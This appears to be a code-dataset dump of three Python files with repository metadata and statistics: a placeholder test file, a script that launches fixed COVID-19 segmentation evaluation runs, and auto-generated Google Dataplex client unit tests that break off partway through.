| 8
|
f951261932b1b5b9420b86da8d6859a33b60ac88
| 94
|
py
|
Python
|
matts_misc/simple_des_y3_sims/tests/test_psf_wrapper.py
|
beckermr/misc
|
da8fed310a0c99d7a5a10a1bfa74aac4db676475
|
[
"BSD-3-Clause"
] | 2
|
2020-06-30T21:08:08.000Z
|
2020-07-01T02:46:34.000Z
|
matts_misc/simple_des_y3_sims/tests/test_psf_wrapper.py
|
beckermr/misc
|
da8fed310a0c99d7a5a10a1bfa74aac4db676475
|
[
"BSD-3-Clause"
] | null | null | null |
matts_misc/simple_des_y3_sims/tests/test_psf_wrapper.py
|
beckermr/misc
|
da8fed310a0c99d7a5a10a1bfa74aac4db676475
|
[
"BSD-3-Clause"
] | 1
|
2020-04-18T04:10:47.000Z
|
2020-04-18T04:10:47.000Z
|
def test_psf_wrapper_smoke():
assert False
def test_psf_wrapper_wcs():
assert False
| 13.428571
| 29
| 0.744681
| 14
| 94
| 4.571429
| 0.571429
| 0.21875
| 0.3125
| 0.53125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.191489
| 94
| 6
| 30
| 15.666667
| 0.842105
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f970c66ba3ba4a40a775f1b504c24dd1e9800fb3
| 620
|
py
|
Python
|
eval_covid19china_timm-regnetx_002_RandomBrightnessContrast.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
eval_covid19china_timm-regnetx_002_RandomBrightnessContrast.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
eval_covid19china_timm-regnetx_002_RandomBrightnessContrast.py
|
BrunoKrinski/segtool
|
cb604b5f38104c43a76450136e37c3d1c4b6d275
|
[
"MIT"
] | null | null | null |
import os
ls=["python main.py --configs configs/eval_covid19china_unetplusplus_timm-regnetx_002_0_RandomBrightnessContrast.yml",
"python main.py --configs configs/eval_covid19china_unetplusplus_timm-regnetx_002_1_RandomBrightnessContrast.yml",
"python main.py --configs configs/eval_covid19china_unetplusplus_timm-regnetx_002_2_RandomBrightnessContrast.yml",
"python main.py --configs configs/eval_covid19china_unetplusplus_timm-regnetx_002_3_RandomBrightnessContrast.yml",
"python main.py --configs configs/eval_covid19china_unetplusplus_timm-regnetx_002_4_RandomBrightnessContrast.yml",
]
for l in ls:
os.system(l)
| 56.363636
| 118
| 0.866129
| 80
| 620
| 6.3375
| 0.3
| 0.098619
| 0.118343
| 0.187377
| 0.883629
| 0.883629
| 0.883629
| 0.883629
| 0.883629
| 0.883629
| 0
| 0.050934
| 0.05
| 620
| 11
| 119
| 56.363636
| 0.809847
| 0
| 0
| 0
| 0
| 0
| 0.89372
| 0.692432
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
f9d69ee0159dcae8bd3df176fd8cbb38c3738e5a
| 387,404
|
py
|
Python
|
tests/unit/gapic/dataplex_v1/test_dataplex_service.py
|
renovate-bot/python-dataplex
|
e633eeb1ba6c9c9b5105f443f4ec1f83de2246e9
|
[
"Apache-2.0"
] | 1
|
2022-01-29T03:16:24.000Z
|
2022-01-29T03:16:24.000Z
|
tests/unit/gapic/dataplex_v1/test_dataplex_service.py
|
renovate-bot/python-dataplex
|
e633eeb1ba6c9c9b5105f443f4ec1f83de2246e9
|
[
"Apache-2.0"
] | 10
|
2022-01-28T22:58:22.000Z
|
2022-03-27T20:29:22.000Z
|
tests/unit/gapic/dataplex_v1/test_dataplex_service.py
|
renovate-bot/python-dataplex
|
e633eeb1ba6c9c9b5105f443f4ec1f83de2246e9
|
[
"Apache-2.0"
] | 2
|
2022-01-28T22:22:19.000Z
|
2022-01-29T08:09:23.000Z
|
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
# try/except added for compatibility with python < 3.8
try:
from unittest import mock
from unittest.mock import AsyncMock
except ImportError:
import mock
import math
from google.api_core import (
future,
gapic_v1,
grpc_helpers,
grpc_helpers_async,
operation,
operations_v1,
path_template,
)
from google.api_core import client_options
from google.api_core import exceptions as core_exceptions
from google.api_core import operation_async # type: ignore
import google.auth
from google.auth import credentials as ga_credentials
from google.auth.exceptions import MutualTLSChannelError
from google.longrunning import operations_pb2
from google.oauth2 import service_account
from google.protobuf import duration_pb2 # type: ignore
from google.protobuf import field_mask_pb2 # type: ignore
from google.protobuf import timestamp_pb2 # type: ignore
import grpc
from grpc.experimental import aio
from proto.marshal.rules.dates import DurationRule, TimestampRule
import pytest
from google.cloud.dataplex_v1.services.dataplex_service import (
DataplexServiceAsyncClient,
DataplexServiceClient,
pagers,
transports,
)
from google.cloud.dataplex_v1.types import analyze, resources, service, tasks
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert DataplexServiceClient._get_default_mtls_endpoint(None) is None
assert (
DataplexServiceClient._get_default_mtls_endpoint(api_endpoint)
== api_mtls_endpoint
)
assert (
DataplexServiceClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
DataplexServiceClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
DataplexServiceClient._get_default_mtls_endpoint(sandbox_mtls_endpoint)
== sandbox_mtls_endpoint
)
assert (
DataplexServiceClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi
)
@pytest.mark.parametrize(
"client_class,transport_name",
[
(DataplexServiceClient, "grpc"),
(DataplexServiceAsyncClient, "grpc_asyncio"),
],
)
def test_dataplex_service_client_from_service_account_info(
client_class, transport_name
):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_info"
) as factory:
factory.return_value = creds
info = {"valid": True}
client = client_class.from_service_account_info(info, transport=transport_name)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == ("dataplex.googleapis.com:443")
@pytest.mark.parametrize(
"transport_class,transport_name",
[
(transports.DataplexServiceGrpcTransport, "grpc"),
(transports.DataplexServiceGrpcAsyncIOTransport, "grpc_asyncio"),
],
)
def test_dataplex_service_client_service_account_always_use_jwt(
transport_class, transport_name
):
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=True)
use_jwt.assert_called_once_with(True)
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=False)
use_jwt.assert_not_called()
@pytest.mark.parametrize(
"client_class,transport_name",
[
(DataplexServiceClient, "grpc"),
(DataplexServiceAsyncClient, "grpc_asyncio"),
],
)
def test_dataplex_service_client_from_service_account_file(
client_class, transport_name
):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file(
"dummy/file/path.json", transport=transport_name
)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
client = client_class.from_service_account_json(
"dummy/file/path.json", transport=transport_name
)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == ("dataplex.googleapis.com:443")
def test_dataplex_service_client_get_transport_class():
transport = DataplexServiceClient.get_transport_class()
available_transports = [
transports.DataplexServiceGrpcTransport,
]
assert transport in available_transports
transport = DataplexServiceClient.get_transport_class("grpc")
assert transport == transports.DataplexServiceGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(DataplexServiceClient, transports.DataplexServiceGrpcTransport, "grpc"),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
DataplexServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceClient),
)
@mock.patch.object(
DataplexServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceAsyncClient),
)
def test_dataplex_service_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(DataplexServiceClient, "get_transport_class") as gtc:
transport = transport_class(credentials=ga_credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(DataplexServiceClient, "get_transport_class") as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name, client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class(transport=transport_name)
# Check the case GOOGLE_API_USE_CLIENT_CERTIFICATE has unsupported value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "Unsupported"}
):
with pytest.raises(ValueError):
client = client_class(transport=transport_name)
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id="octopus",
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,use_client_cert_env",
[
(
DataplexServiceClient,
transports.DataplexServiceGrpcTransport,
"grpc",
"true",
),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"true",
),
(
DataplexServiceClient,
transports.DataplexServiceGrpcTransport,
"grpc",
"false",
),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
"false",
),
],
)
@mock.patch.object(
DataplexServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceClient),
)
@mock.patch.object(
DataplexServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceAsyncClient),
)
@mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "auto"})
def test_dataplex_service_client_mtls_env_auto(
client_class, transport_class, transport_name, use_client_cert_env
):
# This tests the endpoint autoswitch behavior. Endpoint is autoswitched to the default
# mtls endpoint, if GOOGLE_API_USE_CLIENT_CERTIFICATE is "true" and client cert exists.
# Check the case client_cert_source is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
if use_client_cert_env == "false":
expected_client_cert_source = None
expected_host = client.DEFAULT_ENDPOINT
else:
expected_client_cert_source = client_cert_source_callback
expected_host = client.DEFAULT_MTLS_ENDPOINT
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case ADC client cert is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=client_cert_source_callback,
):
if use_client_cert_env == "false":
expected_host = client.DEFAULT_ENDPOINT
expected_client_cert_source = None
else:
expected_host = client.DEFAULT_MTLS_ENDPOINT
expected_client_cert_source = client_cert_source_callback
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case client_cert_source and ADC client cert are not provided.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class", [DataplexServiceClient, DataplexServiceAsyncClient]
)
@mock.patch.object(
DataplexServiceClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceClient),
)
@mock.patch.object(
DataplexServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(DataplexServiceAsyncClient),
)
def test_dataplex_service_client_get_mtls_endpoint_and_cert_source(client_class):
mock_client_cert_source = mock.Mock()
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "true".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source == mock_client_cert_source
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "false".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "false"}):
mock_client_cert_source = mock.Mock()
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert doesn't exist.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert exists.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=mock_client_cert_source,
):
(
api_endpoint,
cert_source,
) = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source == mock_client_cert_source
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(DataplexServiceClient, transports.DataplexServiceGrpcTransport, "grpc"),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_dataplex_service_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(
scopes=["1", "2"],
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,grpc_helpers",
[
(
DataplexServiceClient,
transports.DataplexServiceGrpcTransport,
"grpc",
grpc_helpers,
),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
grpc_helpers_async,
),
],
)
def test_dataplex_service_client_client_options_credentials_file(
client_class, transport_class, transport_name, grpc_helpers
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
def test_dataplex_service_client_client_options_from_dict():
with mock.patch(
"google.cloud.dataplex_v1.services.dataplex_service.transports.DataplexServiceGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = DataplexServiceClient(
client_options={"api_endpoint": "squid.clam.whelk"}
)
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,grpc_helpers",
[
(
DataplexServiceClient,
transports.DataplexServiceGrpcTransport,
"grpc",
grpc_helpers,
),
(
DataplexServiceAsyncClient,
transports.DataplexServiceGrpcAsyncIOTransport,
"grpc_asyncio",
grpc_helpers_async,
),
],
)
def test_dataplex_service_client_create_channel_credentials_file(
client_class, transport_class, transport_name, grpc_helpers
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# test that the credentials from file are saved and used as the credentials.
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch.object(
google.auth, "default", autospec=True
) as adc, mock.patch.object(
grpc_helpers, "create_channel"
) as create_channel:
creds = ga_credentials.AnonymousCredentials()
file_creds = ga_credentials.AnonymousCredentials()
load_creds.return_value = (file_creds, None)
adc.return_value = (creds, None)
client = client_class(client_options=options, transport=transport_name)
create_channel.assert_called_with(
"dataplex.googleapis.com:443",
credentials=file_creds,
credentials_file=None,
quota_project_id=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
scopes=None,
default_host="dataplex.googleapis.com",
ssl_credentials=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
@pytest.mark.parametrize(
"request_type",
[
service.CreateLakeRequest,
dict,
],
)
def test_create_lake(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_lake_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
client.create_lake()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateLakeRequest()
@pytest.mark.asyncio
async def test_create_lake_async(
transport: str = "grpc_asyncio", request_type=service.CreateLakeRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_lake_async_from_dict():
await test_create_lake_async(request_type=dict)
def test_create_lake_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateLakeRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_lake_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateLakeRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_create_lake_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_lake(
parent="parent_value",
lake=resources.Lake(name="name_value"),
lake_id="lake_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].lake
mock_val = resources.Lake(name="name_value")
assert arg == mock_val
arg = args[0].lake_id
mock_val = "lake_id_value"
assert arg == mock_val
def test_create_lake_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_lake(
service.CreateLakeRequest(),
parent="parent_value",
lake=resources.Lake(name="name_value"),
lake_id="lake_id_value",
)
@pytest.mark.asyncio
async def test_create_lake_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_lake(
parent="parent_value",
lake=resources.Lake(name="name_value"),
lake_id="lake_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].lake
mock_val = resources.Lake(name="name_value")
assert arg == mock_val
arg = args[0].lake_id
mock_val = "lake_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_lake_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_lake(
service.CreateLakeRequest(),
parent="parent_value",
lake=resources.Lake(name="name_value"),
lake_id="lake_id_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.UpdateLakeRequest,
dict,
],
)
def test_update_lake(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_lake(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateLakeRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_lake_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_lake), "__call__") as call:
